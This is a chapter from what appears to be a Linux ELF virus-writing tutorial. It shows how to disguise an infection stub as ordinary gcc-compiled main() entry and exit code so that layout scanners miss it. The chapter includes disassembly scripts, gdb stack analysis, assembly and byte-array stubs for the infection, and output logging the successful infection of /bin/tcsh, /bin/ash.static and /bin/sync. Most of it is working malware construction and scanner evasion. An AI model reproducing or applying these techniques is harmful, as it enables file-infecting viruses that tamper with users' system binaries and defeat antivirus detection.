A person who is more than casually interested in computers should be well schooled in machine language, since it is a fundamental part of a computer. | |
Donald Knuth |
The scanners Scan segments (i) and Scan entry point (i) Second scan check program layout for deviations. On a typical Linux distribution this yields good results since all programs are compiled and linked with the same set of tools. But there are legitimate reasons for executables to look different. Some rescue tools and non-free executables are linked statically to be independent of the target system. [1]
asmutils is a set of miscellaneous utilities written in assembly language, targeted on embedded systems and small distributions (e.g. installation or rescue disks); also it contains a small libc and a crypto library. It features the smallest possible size and memory requirements, the fastest speed, and offers fairly good functionality.
The next best approach is to follow the flow of control and verify visited code, starting from the entry point. Again this relies on a certain homogeneity of executables.
A very simple check is alignment. We handle that in target_copy_and_infect #1 (i) and and copy_and_infect #2 (i). gcc(1) never starts functions on odd addresses. But neither VIT nor RST seem to care and put the infection after the last byte of the code segment.
The improved versions of patchEntryAddr in The entry point do a primitive check of the call to __libc_start_main. Since we leave the entry point unmodified we pass this test.
The next step is to check entry code of functions called by __libc_start_main, especially main. We are vulnerable to this.
Section 10.5 patches the call of __libc_start_main to invoke our virus code instead of main. To stay undetected our code should mimic the real thing. The disassembly of our first program shows everything we need to know. But then that listing was retrieved through heavy cheating.
To disassembly the main of a regular executable we extend the exercise of Disassemble it again, Sam. The script performs no kind of error checking. Feeding anything else than executables built by gcc(1) can have strange effects (like no output at all). There is also no limit on output length. In the examples below the Makefile building this document used head(1).
Command: pre/i386-redhat8.0-linux/stub_revisited/intel.sh
#!/bin/bash
file=$( /bin/sed 1q \
out/i386-redhat8.0-linux/scanner/segment_padding/infect )
[ -x ${file} ] || exit 1
entry_point=$( /usr/bin/od -j24 -An -td4 -N4 ${file} )
# 134512640 = 0x8048000
# 24 = offset to address of main in code of _start
main_point_ofs=$( expr ${entry_point} - 134512640 + 24 )
main=$( /usr/bin/od -j${main_point_ofs} -An -td4 -N4 ${file} )
main_ofs=$( expr ${main} - 134512640 )
ndisasm -e ${main_ofs} -o ${main} -U ${file} |
First a simple test. Compare with above mentioned disassembly.
Output: out/i386-redhat8.0-linux/stub_revisited/magic_elf.disasm
0804A1F0 55 push ebp
0804A1F1 89E5 mov ebp,esp
0804A1F3 57 push edi
0804A1F4 56 push esi
0804A1F5 53 push ebx
0804A1F6 81EC0C210000 sub esp,0x210c
0804A1FC 83E4F0 and esp,byte -0x10
0804A1FF C7042405000000 mov dword [esp],0x5
0804A206 C744240434A90808 mov dword [esp+0x4],0x808a934
0804A20E E8C5F9FFFF call 0x8049bd8 |
A look at tmp/doing_it_in_c/e3/sh_infected.
Output: out/i386-redhat8.0-linux/stub_revisited/bash_infected.disasm
0804A1F0 55 push ebp
0804A1F1 89E5 mov ebp,esp
0804A1F3 57 push edi
0804A1F4 56 push esi
0804A1F5 53 push ebx
0804A1F6 81EC0C210000 sub esp,0x210c
0804A1FC 83E4F0 and esp,byte -0x10
0804A1FF C7042405000000 mov dword [esp],0x5
0804A206 C744240434A90808 mov dword [esp+0x4],0x808a934
0804A20E E8C5F9FFFF call 0x8049bd8
0804A213 C7042400000000 mov dword [esp],0x0 |
And this is plain /bin/bash.
Output: out/i386-redhat8.0-linux/stub_revisited/sh.disasm
0804A1F0 55 push ebp
0804A1F1 89E5 mov ebp,esp
0804A1F3 57 push edi
0804A1F4 56 push esi
0804A1F5 53 push ebx
0804A1F6 81EC0C210000 sub esp,0x210c
0804A1FC 83E4F0 and esp,byte -0x10
0804A1FF C7042405000000 mov dword [esp],0x5
0804A206 C744240434A90808 mov dword [esp+0x4],0x808a934
0804A20E E8C5F9FFFF call 0x8049bd8 |
The first two instructions, making up three bytes, are constant. They are followed by an optional series of push to save special registers. Then comes a sub esp to reserve space for local variables. This also seems to be constant. The trivial program in The magic of the Elf does not use local variables and still ends up with a sub.
For the exit code of /bin/bash we need a better filter.
Command: pre/i386-redhat8.0-linux/stub_revisited/intel_ret.sh
#!/bin/bash
( pre/i386-redhat8.0-linux/stub_revisited/intel.sh "$@" 2>&1 ) \
| /bin/sed /ret/q \
| /usr/bin/tail |
Output: out/i386-redhat8.0-linux/stub_revisited/sh_ret.disasm
0804AFD6 E8D5160000 call 0x804c6b0
0804AFDB E8D0290000 call 0x804d9b0
0804AFE0 E82B180000 call 0x804c810
0804AFE5 8D65F4 lea esp,[ebp-0xc]
0804AFE8 31C0 xor eax,eax
0804AFEA 5B pop ebx
0804AFEB 5E pop esi
0804AFEC 5F pop edi
0804AFED 5D pop ebp
0804AFEE C3 ret |
I call this weird. It seems that 0xc byte are reserved on the stack just to stay unused. And why does one program use leave and the other pop ebp? A quote from the documentation [2] of nasm [3] :
LEAVE ; C9 [186]
LEAVE destroys a stack frame of the form created by the ENTER instruction [4] It is functionally equivalent to MOV ESP,EBP followed by POP EBP.
I guess that we are safe on that front. It's easy to check the existence of fixed byte values at a certain location (the entry code). But I doubt whether a static scanner could really realize whether a given exit code is just a dummy. Or what instruction a ret effectively jumps to.
Let's examine the stack of In the language of mortals just after the sub was executed. Note that you don't have to quote character "$" in interactive gdb(1) sessions. Instead of "\$sp" you type plain "$sp" to reference the stack pointer.
Command: pre/i386-redhat8.0-linux/stub_revisited/stack.sh
#!/bin/bash
file=${1:-tmp/i386-redhat8.0-linux/magic_elf/magic_elf}
/usr/bin/gdb ${file} -q <<EOT
break main
run
backtrace
printf "esp=%08x ebp=%08x\n", \$esp, \$ebp
x/3xw \$sp
x/3xw \$sp + 12
x/3xw \$sp + 24
x/3xw \$sp + 36
EOT |
Output: out/i386-redhat8.0-linux/stub_revisited/stack
(gdb) Breakpoint 1 at 0x804832e
(gdb) Starting program: /home/alba/.mnt/anton/virus-writing-HOWTO/tmp/i386-redhat8.0-linux/magic_elf/magic_elf
Breakpoint 1, 0x0804832e in main ()
(gdb) #0 0x0804832e in main ()
#1 0x400364ce in __libc_start_main () from /lib/libc.so.6
(gdb) esp=bffff8e0 ebp=bffff8e8
(gdb) 0xbffff8e0: 0x08048370 0xbffff954 0xbffff928
(gdb) 0xbffff8ec: 0x400364ce 0x00000001 0xbffff954
(gdb) 0xbffff8f8: 0xbffff95c 0x08048246 0x08048370
(gdb) 0xbffff904: 0x00000000 0xbffff928 0x400364b6
(gdb) |
The program was stopped at address 0x804832e in function main, which was called from __libc_start_main. We already encountered file
Source: src/stub_revisited/__libc_start_main
# /usr/src/redhat/SOURCES/glibc-2.2.4/sysdeps/generic/libc-start.c
121 if (init)
122 (*init) ();
123
124 #ifdef SHARED
125 if (__builtin_expect (_dl_debug_mask & DL_DEBUG_IMPCALLS, 0))
126 _dl_debug_printf ("\ntransferring control: %s\n\n", argv[0]);
127 #endif
128
129 exit ((*main) (argc, argv, __environ));
130 } |
Looks plausible.
Address | esp | ebp | Contents | Description |
---|---|---|---|---|
The top three values on the stack are just random junk. The instruction just before our break point decremented esp by 0xc = 12 to use that space for local variables. They are not initialized yet, though. | ||||
0xbffff8e0 | esp + 0 | ebp - 12 | 0x8048370 | random junk |
0xbffff8e4 | esp + 4 | ebp - 8 | 0xbffff954 | random junk |
0xbffff8e8 | esp + 8 | ebp - 4 | 0xbffff928 | random junk |
Everything further down - including the next two values - must be preserved for the host code. | ||||
0xbffff8ec | esp + 12 | ebp + 0 | 0x400364ce | saved ebp |
0xbffff8f0 | esp + 16 | ebp + 4 | 0x1 | return address |
The next three values are the arguments of main. We declared the function as plain main() so gdb(1) does not know about these identifiers. | ||||
0xbffff8f4 | esp + 20 | ebp + 8 | 0xbffff954 | argc |
0xbffff8f8 | esp + 24 | ebp + 12 | 0xbffff95c | argv |
0xbffff8fc | esp + 28 | ebp + 16 | 0x8048246 | environ |
The next few values up to 0x400364ce (saved ebp) are local variables of __libc_start_main. |
The new stub must fulfill a few constraints.
Both entry code and exit code is fixed.
The stack below ebp + 0 must not be modified.
After executing infectious code it must jump to the original host code.
Original host code expects the value of esp to be 0xbffff8f0 and the value of ebp to be 0x400364ce (values are not constant, just given for illustration).
If we keep original exit code then we must modify the stack. The simplest approach is to move the original ebp one position (4 bytes) down. Original entry code already reserved 12 unused bytes so we don't have to adjust esp. In the free space we store the address of host code.
Source: src/one_step_closer/i2/i386_Linux_intel.S
BITS 32
start: push dword 0 ; replace with original entry address
pushf
pusha
call body
popa
popf
ret
align 8
body: push byte start + 1 ; dummy operation to specifiy offset |
The following disassembly shows stub and the first function of the C part, called body. The stub ends with a few nop instructions to align its size. Flow of control just continues from stub to body. Since this is a regular C function it also has standard entry code. But this does not matter because standard exit code starts with a leave. No matter how much stuff was pushed on the stack between end of stub and exit code of body, the leave instruction will pop off the moved ebp. The following ret then jumps to host code.
Output: out/i386-redhat8.0-linux/doing_it_in_c/e3i2.disasm
08048A80 6800000000 push dword 0x0
08048A85 9C pushf
08048A86 60 pusha
08048A87 E804000000 call 0x8048a90
08048A8C 61 popa
08048A8D 9D popf
08048A8E C3 ret
08048A8F 90 nop
08048A90 55 push ebp
08048A91 89E5 mov ebp,esp
08048A93 57 push edi
08048A94 53 push ebx
08048A95 E82A000000 call 0x8048ac4
08048A9A 8D98008B0408 lea ebx,[eax+0x8048b00]
08048AA0 89DF mov edi,ebx
08048AA2 FC cld
08048AA3 B9FFFFFFFF mov ecx,0xffffffff
08048AA8 B200 mov dl,0x0
08048AAA 88D0 mov al,dl
08048AAC F2AE repne scasb
08048AAE F7D1 not ecx
08048AB0 49 dec ecx
08048AB1 51 push ecx
08048AB2 53 push ebx
08048AB3 6A01 push byte +0x1
08048AB5 6A04 push byte +0x4
08048AB7 E818000000 call 0x8048ad4
08048ABC 8D65F8 lea esp,[ebp-0x8]
08048ABF 5B pop ebx
08048AC0 5F pop edi
08048AC1 C9 leave
08048AC2 C3 ret
08048AC3 90 nop
08048AC4 55 push ebp
08048AC5 89E5 mov ebp,esp
08048AC7 E800000000 call 0x8048acc
08048ACC 58 pop eax
08048ACD 2DCC8A0408 sub eax,0x8048acc
08048AD2 C9 leave
08048AD3 C3 ret
08048AD4 55 push ebp
08048AD5 89E5 mov ebp,esp
08048AD7 53 push ebx
08048AD8 56 push esi
08048AD9 57 push edi
08048ADA 8B7D1C mov edi,[ebp+0x1c]
08048ADD 8B7518 mov esi,[ebp+0x18]
08048AE0 8B5514 mov edx,[ebp+0x14]
08048AE3 8B4D10 mov ecx,[ebp+0x10]
08048AE6 8B5D0C mov ebx,[ebp+0xc]
08048AE9 8B4508 mov eax,[ebp+0x8]
08048AEC CD80 int 0x80
08048AEE 5F pop edi
08048AEF 5E pop esi
08048AF0 5B pop ebx
08048AF1 C9 leave
08048AF2 C3 ret |
Output: out/i386-redhat8.0-linux/doing_it_in_c/e3i2/infect
/bin/tcsh ... wrote 160 bytes, Ok
/bin/ash.static ... wrote 160 bytes, Ok
/bin/sync ... wrote 160 bytes, Ok
files=3; ok=3; failed=0 |
Output: out/i386-redhat8.0-linux/doing_it_in_c/test-e3i2
ELF is dead baby, ELF is dead.
pid=[22896]
TERM=[xterm]
ELF is dead baby, ELF is dead.
22921
ELF is dead baby, ELF is dead.
---
ELF is dead baby, ELF is dead.
22926 |
This is the same idea, only obfuscated by an intermediate call. Variations on this topic are endless.
Source: src/one_step_closer/i3/i386_Linux_intel.S
BITS 32
push ebp
mov ebp,esp
sub esp,byte 0xc
wrapper: ; replace -1 with address of original host code
mov eax,dword -1
xchg eax,[ebp]
sub ebp,byte 4
mov [ebp],eax
align 8
; dummy instruction to specify offset
push byte wrapper + 1 |
Output = Source: out/i386-redhat8.0-linux/one_step_closer/i3/infection.inc
const unsigned char infection[]
__attribute__ (( aligned(8), section(".text") )) =
{
0x55, /* 00000000: push ebp */
0x89,0xE5, /* 00000001: mov ebp,esp */
0x83,0xEC,0x0C, /* 00000003: sub esp,byte +0xc */
0xB8,0xFF,0xFF,0xFF,0xFF, /* 00000006: mov eax,0xffffffff */
0x87,0x45,0x00, /* 0000000B: xchg eax,[ebp+0x0] */
0x83,0xED,0x04, /* 0000000E: sub ebp,byte +0x4 */
0x89,0x45,0x00, /* 00000011: mov [ebp+0x0],eax */
0x90, /* 00000014: nop */
0x90, /* 00000015: nop */
0x90, /* 00000016: nop */
0x90 /* 00000017: nop */
}; /* 26 bytes (0x1a) */
enum { ENTRY_POINT_OFS = 0x7 }; |
[1] | |
[2] | http://www.octium.net/oldnasm/docs/nasmdoca.html#section-A.94 |
[3] | |
[4] | http://www.octium.net/oldnasm/docs/nasmdoca.html#section-A.27 |